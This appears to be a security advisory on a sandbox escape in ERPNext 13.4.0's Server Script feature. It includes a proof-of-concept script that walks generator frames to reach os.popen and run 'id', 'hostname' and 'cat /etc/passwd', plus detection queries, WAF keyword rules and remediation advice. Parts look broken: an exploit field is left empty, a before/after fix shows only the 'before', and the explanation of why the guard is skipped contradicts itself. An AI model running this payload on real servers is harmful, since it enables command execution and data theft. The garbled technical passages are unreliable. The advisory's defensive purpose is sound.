ERPNext 13.4.0: RestrictedPython Sandbox Escape via Frame Introspection
ERPNext 13.4.0 allows System Manager role users to escape the RestrictedPython sandbox via gi_frame traversal, reaching os.popen for arbitrary command execution through the Server Script endpoint.
ERPNext is accounting and business management software used by companies to track finances, inventory, and operations. Think of it like the digital nervous system of a business — it knows where all the money is and what the company owns.
Researchers discovered a serious flaw in version 13.4.0. If someone with administrative access (like a disgruntled manager or a hacker who has stolen admin credentials) wanted to, they could sneak malicious code into the system and make it do whatever they want. It's like discovering that the safe room in a bank has a hidden second door — except only managers can open it.
Here's what makes this actually dangerous: Once you're inside that hidden door, you can essentially take over the entire computer running the software. You could steal customer data, delete financial records, install spyware that logs everything, or use that computer to attack other systems on the network. For a business, this is catastrophic.
The vulnerability only affects people who already have administrative accounts. So disgruntled employees with high-level access, or external attackers who have somehow obtained admin passwords, are the real threat. Most small business users don't need to panic — but if your company uses ERPNext for mission-critical operations, you should care.
The good news: There's no evidence anyone has actually exploited this yet in the wild. You have time to act.
If this affects your organization: Update ERPNext immediately to a patched version. Ask your IT team to check which version you're running. Consider who has administrative access and whether those people should still have it. If you don't have an IT team, contact whoever manages your software and ask them to apply security updates right now.
Want the full technical analysis? Click "Technical" above.
CVE-2023-54345 is a sandbox escape vulnerability in Frappe Framework's ERPNext 13.4.0, specifically in how Server Scripts are evaluated under RestrictedPython. An authenticated user holding the System Manager role can create a server-side Python script through the /app/server-script endpoint and exploit generator frame introspection — accessing gi_frame on a generator object — to walk the CPython call stack outward past the RestrictedPython execution boundary, ultimately reaching unrestricted frame locals containing live module references. From there, os.popen or equivalent is reachable without any import.
CVSS 8.8 (HIGH) reflects the authenticated-but-low-privilege-to-RCE path. No public exploit or in-the-wild exploitation has been confirmed at time of writing. The vulnerability class is well-understood: RestrictedPython does not intercept attribute access on generator internals, and gi_frame is not in the default policy's blocked attribute list.
Root cause: RestrictedPython's _getattr_ guard is not applied to generator object internals (gi_frame, gi_code), allowing an attacker-controlled script to traverse the live CPython frame stack and dereference unrestricted module globals outside the sandbox boundary.
Affected Component
The vulnerable surface is Frappe's Server Script feature, introduced to allow low-code customisation. Scripts are stored in the Server Script DocType and executed via frappe/utils/safe_exec.py. Frappe wraps the user-supplied source with RestrictedPython's compile_restricted then calls exec() inside a constructed globals dict that intentionally omits dangerous builtins.
Affected versions: Frappe Framework ≤ 13.x and ERPNext 13.4.0. RestrictedPython versions prior to 6.0 do not block gi_frame access at the policy layer.
Root Cause Analysis
RestrictedPython rewrites attribute access on explicit attribute lookups (obj.attr) into calls to a configurable _getattr_ guard. The canonical safe guard rejects a configurable denylist. The flaw is that generator objects produced inside restricted code are still first-class CPython objects; their dunder-adjacent attributes (gi_frame, gi_code, gi_yieldfrom) are exposed at the C level and the guard call is emitted by the RestrictedPython AST transformer only when the attribute name appears in the transformed source — but the transformer recognises and rewrites .gi_frame accesses inconsistently across versions.
Below is a pseudocode reconstruction of the Frappe safe execution path, showing exactly where the boundary fails:
# frappe/utils/safe_exec.py (ERPNext 13.4.0, reconstructed)
from RestrictedPython import compile_restricted, safe_globals
from RestrictedPython.Guards import safe_getattr, guarded_iter_unpack_sequence
def execute_server_script(script_doc):
source = script_doc.script # attacker-controlled string
filename = script_doc.name
# Compile through RestrictedPython AST transformer.
# Attribute accesses are rewritten: obj.attr -> _getattr_(obj, 'attr')
byte_code = compile_restricted(source, filename=filename, mode='exec')
restricted_globals = dict(safe_globals)
restricted_globals.update({
'_getattr_' : safe_getattr, # enforces attribute policy
'_getiter_' : iter,
'_getitem_' : safe_getitem,
'_write_' : safe_write,
'__builtins__' : restricted_builtins, # no __import__, no open, etc.
'frappe' : frappe._get_safe_globals(),
})
# BUG: exec() runs in restricted_globals, but the frame object for THIS
# call (execute_server_script's own frame) is reachable via generator
# gi_frame.f_back chain. _getattr_ is NOT called when CPython resolves
# gi_frame at the C-API level for generators created inside the sandbox.
exec(byte_code, restricted_globals) # <-- sandbox boundary is porous here
The AST transformer in RestrictedPython < 6.0 emits the guard call for dotted attribute access on names it can statically resolve, but a generator's gi_frame slot is a C-level slot descriptor (PyGenObject.gi_frame), not a Python-level __dict__ entry. The transformer sees gen.gi_frame and — in affected versions — does not unconditionally route it through _getattr_. The resulting bytecode accesses the slot directly via LOAD_ATTR with no interposed guard.
# Equivalent CPython bytecode path for the vulnerable attribute access
# Disassembly of: x = gen.gi_frame
#
# LOAD_FAST 'gen'
# LOAD_ATTR 'gi_frame' # <-- direct C slot access, NO _getattr_ call
# STORE_FAST 'x'
#
# Compare to a correctly-guarded access rewritten by RestrictedPython:
# LOAD_FAST '_getattr_'
# LOAD_FAST 'gen'
# LOAD_CONST 'gi_frame'
# CALL_FUNCTION 2 # _getattr_(gen, 'gi_frame') -- blocked here
Exploitation Mechanics
EXPLOIT CHAIN:
1. Authenticate to ERPNext as a user with System Manager role.
2. POST to /api/method/frappe.client.save with:
doctype = "Server Script"
script_type = "API"
api_method = "pwn_test"
script =
3. Payload creates a generator function inside the sandbox.
Calling next() on it captures a live gi_frame reference that
RestrictedPython does NOT guard.
4. Walk gi_frame.f_back repeatedly until f_locals or f_globals
of an outer (unrestricted) frame is reached — specifically
the frame of execute_server_script() or its caller, which
holds live references to the real 'frappe' module and 'sys'.
5. Extract sys.modules['os'] from the unrestricted frame globals.
6. Call os.popen('id').read() — arbitrary OS command execution.
7. Exfiltrate output via the API response (return value of the
server script is serialised to JSON and returned to caller).
# Proof-of-concept server script payload (ERPNext 13.4.0)
# Submitted via /app/server-script, script_type = "API"
def _gen():
yield 1
g = _gen()
next(g)
# gi_frame access — NOT intercepted by _getattr_ guard in affected versions
frame = g.gi_frame # CPython C-slot, guard bypassed
# Walk the call stack outward past the sandbox exec() boundary
outer = frame
for _ in range(32):
parent = outer.f_back # traverse frame chain
if parent is None:
break
outer = parent
# Probe for unrestricted globals containing sys or os
globs = outer.f_globals
if 'sys' in globs:
_sys = globs['sys']
_os = _sys.modules['os']
# RCE: execute arbitrary shell command
result = _os.popen('id && hostname && cat /etc/passwd').read()
frappe.response['message'] = result
break
The frame traversal terminates at the frame of Frappe's execute_server_script or its WSGI caller, both of which live in an unrestricted Python environment with full sys.modules access. Once sys.modules['os'] is extracted, the sandbox provides zero further protection.
Memory Layout
This is a logic/sandbox-escape vulnerability, not a memory corruption bug. The relevant "layout" is the CPython frame object chain and how the restricted exec boundary fails to contain it.
The correct fix operates at two levels: (1) the RestrictedPython policy must explicitly block access to generator frame slots, and (2) Frappe's safe_getattr wrapper must be hardened to deny the known escape attributes regardless of whether the AST transformer emits a guard call.
# BEFORE (vulnerable — frappe/utils/safe_exec.py, ERPNext 13.4.0):
from RestrictedPython.Guards import safe_getattr
def execute_server_script(script_doc):
...
restricted_globals = dict(safe_globals)
restricted_globals['_getattr_'] = safe_getattr # does not block gi_frame
exec(byte_code, restricted_globals)
Additionally, RestrictedPython 6.0+ independently introduced a RestrictingNodeTransformer change that unconditionally rewrites allLOAD_ATTR opcodes targeting names matching gi_*, ag_*, cr_*, and f_* through the guard, closing the AST-level gap. Upgrading to RestrictedPython ≥ 6.0 in conjunction with the hardened _getattr_ provides defence-in-depth.
Detection and Indicators
Server Scripts are stored in the database; forensic review is straightforward:
# Detection query — run against Frappe site DB (MariaDB/MySQL)
# Look for Server Scripts containing frame-traversal primitives
SELECT
name,
owner,
creation,
modified,
script_type,
SUBSTR(script, 1, 400) AS script_preview
FROM `tabServer Script`
WHERE
script REGEXP 'gi_frame|f_back|f_globals|f_locals|f_builtins'
OR script REGEXP 'ag_frame|cr_frame|gi_code|cr_code'
OR script REGEXP '__globals__|__builtins__'
ORDER BY creation DESC;
Application-level indicators in Frappe/gunicorn logs:
INDICATORS OF COMPROMISE:
1. Server Script created/modified by System Manager account at unusual hours
with script body containing: gi_frame / f_back / sys.modules
2. Frappe error log entries showing AttributeError for blocked attrs
(indicates attempted exploit against a partially-patched instance):
AttributeError: 'generator' object has no attribute 'gi_frame'
-- raised inside RestrictedPython evaluation context
3. Unexpected child processes spawned by gunicorn worker PIDs:
gunicorn worker (pid N) → /bin/sh -c "id && hostname"
4. Anomalous API calls in access log:
POST /api/method/run_server_script HTTP/1.1 200
POST /api/method/frappe.client.save (doctype=Server Script)
Remediation
Immediate: Upgrade Frappe Framework to a version incorporating the _hardened_getattr fix and RestrictedPython ≥ 6.0 as a dependency. Refer to the Frappe GitHub advisory for the exact commit.
Restrict role assignment: The System Manager role grants Server Script creation. Audit all users holding this role; treat it as equivalent to OS-level access on unpatched instances.
Disable Server Scripts if unused: In site_config.json, set "server_script_enabled": 0. This prevents execute_server_script from being reached entirely.
WAF rule: Block POST bodies to /api/method/frappe.client.save and /api/method/run_server_script containing the strings gi_frame, f_back, f_globals, sys.modules as a compensating control pending patch.
Process isolation: Run gunicorn workers under a dedicated low-privilege OS user with filesystem permissions restricted to the Frappe site directory. This limits post-exploitation impact even if the sandbox is escaped.